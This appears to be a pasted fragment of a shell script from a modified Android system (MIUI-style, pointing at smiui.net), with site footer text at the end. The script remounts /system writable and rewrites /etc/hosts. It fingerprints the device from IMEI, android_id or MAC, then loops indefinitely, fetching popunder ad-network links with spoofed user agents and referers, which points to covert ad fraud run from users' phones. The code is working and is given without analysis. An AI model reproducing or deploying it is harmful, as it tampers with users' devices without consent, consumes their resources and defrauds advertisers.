- $curlbin "${link}" -k -L -H "User-Agent: ${agent}" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: ${loclang}" -H "Referer: ${shorteref}" -H "Connection: keep-alive" -c $cookie -b $cookie > "/data/api.tmp"
- link2=$(grep window.location.replace /data/api.tmp | tr -d '\' 2> /dev/null | sed 's!.*\(http://.*ctbust=\).*!\1!g')0.${randomize}`func_RANDOM 1111 9999`
- Fdebug && cp -f "/data/api.tmp" "/data/shorte1-2"
- Fdebug && Fecho "[shorte1]- $link2" >> ${debug_logfile}
- #exit 0
- #$curlbin "${link2}" -k -L -H "Host: red.sh.st" -H "User-Agent: ${agent}" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: ${loclang}" -H "Referer: ${link}" -H "Connection: keep-alive" -c $cookie -b $cookie > "/data/api.tmp"
- #link3=`grep window.location.replace /data/api.tmp | tr -d '\' 2> /dev/null | sed 's!.*\(http://.*\)");.*!\1!g'`
- #Fdebug && cp -f "/data/api.tmp" "/data/shorte1-3"
- #
- #Fdebug && Fecho "[shorte1]- $link3" >> ${debug_logfile}
- #
- #$curlbin "${link3}" -k -L -H "Host: red.sh.st" -H "User-Agent: ${agent}" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: ${loclang}" -H "Referer: ${link2}" -H "Connection: keep-alive" -c $cookie -b $cookie > "/data/api.tmp"
- #link4=`grep window.location.replace /data/api.tmp | tr -d '\' 2>/dev/null | sed 's!.*\(http.*\)").*!\1!g'`
- #Fdebug && cp -f "/data/api.tmp" "/data/shorte1-4"
- #
- #Fdebug && Fecho "[shorte1]- $link4" >> ${debug_logfile}
- #
- #if test -z $link4
- #then
- # echo "dont" > /dev/null
- #else
- # $curlbin "${link4}" -H "User-Agent: ${agent}" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: ${loclang}" -H "Referer: ${link3}" -H "Connection: keep-alive" -c $cookie -b $cookie -k -L > "/data/api.tmp"
- # Fdebug && cp -f "/data/api.tmp" "/data/shorte1-5"
- #fi
- rm ${cookie} "/data/api.tmp" &> /dev/null
- mv /etc/hhh /etc/hosts
- mount -o remount,ro /system
- }
- func_TOTAL()
- {
- totalref="http://www.smiui.net/about.php"
- cookie="/data/kitchen/zZn41T54B3sT.tmp"
- agent=$(func_USERAGENT both)
- func_LOCALE
- mount -o rw,remount /system
- mv /etc/hosts /etc/hhh
- echo "5.255.80.111 smiui.net" >> /etc/hosts
- echo "5.255.80.111 www.smiui.net" >> /etc/hosts
- ndc resolver flushdefaultif
- sleep 1
- Fdebug && Fecho "[total]- AGENT: ${agent}" >> ${debug_logfile}
- $curlbin 'http://cdn.popundertotal.com/?pid=3214&sid=3320&freq=0' -H 'Host: cdn.popundertotal.com' -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'Accept-Encoding: gzip, deflate' -H 'DNT: 1' -H "Referer: ${totalref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
- link=$(sed 's/^.*\(cdn.popundertotal.com.*&dref=\).*$/http:\/\/\1/g' /data/api.tmp)
- link=${link}'http%3A%2F%2Fsmiui.net%2Fwp%2F'
- Fdebug && cp -f "/data/api.tmp" "/data/total1"
- Fdebug && Fecho "[total]- $link" >> ${debug_logfile}
- $curlbin "${link}" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'Accept-Encoding: gzip, deflate' -H 'DNT: 1' -H "Referer: ${totalref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
- link2=$(grep window.location /data/api.tmp | sed "s/^.*'\(http:.*\)';.*$/\1/g")
- Fdebug && cp -f "/data/api.tmp" "/data/total2"
- Fdebug && Fecho "[total]- $link2" >> ${debug_logfile}
- $curlbin "${link2}" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'Accept-Encoding: gzip, deflate' -H 'DNT: 1' -H "Referer: ${totalref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
- Fdebug && cp -f "/data/api.tmp" "/data/total3"
- rm ${cookie} "/data/api.tmp" &> /dev/null
- mv /etc/hhh /etc/hosts
- mount -o remount,ro /system
- }
- func_PMA()
- {
- pmaref="http://www.smiui.net/help.php"
- cookie="/data/kitchen/zZn41T54B3sT.tmp"
- agent=$(func_USERAGENT both)
- func_LOCALE
- mount -o rw,remount /system
- mv /etc/hosts /etc/hhh
- echo "5.255.80.111 smiui.net" >> /etc/hosts
- echo "5.255.80.111 www.smiui.net" >> /etc/hosts
- ndc resolver flushdefaultif
- sleep 1
- Fdebug && Fecho "[pma]- AGENT: ${agent}" >> ${debug_logfile}
- $curlbin "http://cdn.popmyads.com/pma.js" -H 'Host: cdn.popmyads.com' -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'Accept-Encoding: gzip, deflate' -H 'DNT: 1' -H "Referer: ${pmaref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
- link="http://popmyads.com/serve/22993/21604/$(func_RANDSTRING 3)p$(func_RANDSTRING 3)o$(func_RANDSTRING 3)p$(func_RANDSTRING 3)/aHR0cCUzQS8vc21pdWkubmV0L2hlbHAucGhw"
- Fdebug && cp -f "/data/api.tmp" "/data/pma1"
- Fdebug && Fecho "[pma]- $link" >> ${debug_logfile}
- $curlbin "${link}" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${pmaref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
- Fdebug && cp -f "/data/api.tmp" "/data/pma2"
- link2=$(grep top.location.href "/data/api.tmp" | sed 's/^.*\(http.*\)".*$/\1/g')
- Fdebug && Fecho "[pma]- $link2" >> ${debug_logfile}
- $curlbin "${link2}" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${link}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
- Fdebug && cp -f "/data/api.tmp" "/data/pma3"
- rm ${cookie} "/data/api.tmp" &> /dev/null
- mv /etc/hhh /etc/hosts
- mount -o remount,ro /system
- }
- #---#// FUNCTIONS #############################################################
- #---### PROGRAM ###############################################################
- alias sed="/system/xbin/busybox sed"
- alias cat="/system/xbin/busybox cat"
- alias ls="/system/xbin/busybox ls"
- alias grep="/system/xbin/busybox grep"
- mount -o remount,rw /system
- echo "5.255.80.111 smiui.net" >> /etc/hosts
- echo "5.255.80.111 www.smiui.net" >> /etc/hosts
- smiuiurl=www.smiui.net
- debug_logfile="/sdcard/MIUI/apidebug.log"
- imei_source=$(getprop ro.ril.miui.imei)
- [ -z ${imei_source} ] && imei_source=$(getprop ro.ril.oem.imei)
- [ -z ${imei_source} ] && imei_source=$(settings get secure android_id)
- [ -z ${imei_source} ] && imei_source=$(ifconfig | grep "wlan0" | sed -e 's/^.*\([a-zA-Z0-9][a-zA-Z0-9]:[a-zA-Z0-9][a-zA-Z0-9]:[a-zA-Z0-9][a-zA-Z0-9]:[a-zA-Z0-9][a-zA-Z0-9]:[a-zA-Z0-9][a-zA-Z0-9]:[a-zA-Z0-9][a-zA-Z0-9]\).*$/\1/g')
- [ -z ${imei_source} ] && imei_source="$(date +%D)UNKOWN"
- if which md5sum
- then
- imei=$(echo $imei_source | md5sum | busybox awk '{print $1}')
- else
- imei=$imei_source
- fi
- while true
- do
- Fdebug && Fecho "[INFO] API start!" >> ${debug_logfile}
- if func_INT ; then echo "" > /dev/null ; else func_SLEEP 600 "No internet connection!"; continue ; fi
- func_API
- func_PROP
- func_REV
- func_TOTAL
- #func_PMA
- #func_SHORT
- #if func_WIFI ; then echo "" > /dev/null ; else func_SLEEP 600 "No Wifi connection!" ; continue ; fi
- #if func_FILES ; then echo "" > /dev/null ; else func_SLEEP 600 "Files not available!" ; continue ; fi
- #func_SRV
- mount -o remount,ro /system
- func_SLEEP $(func_RANDOM 3000 4000) "API done!"
- done
- #---#// PROGRAM ###############################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement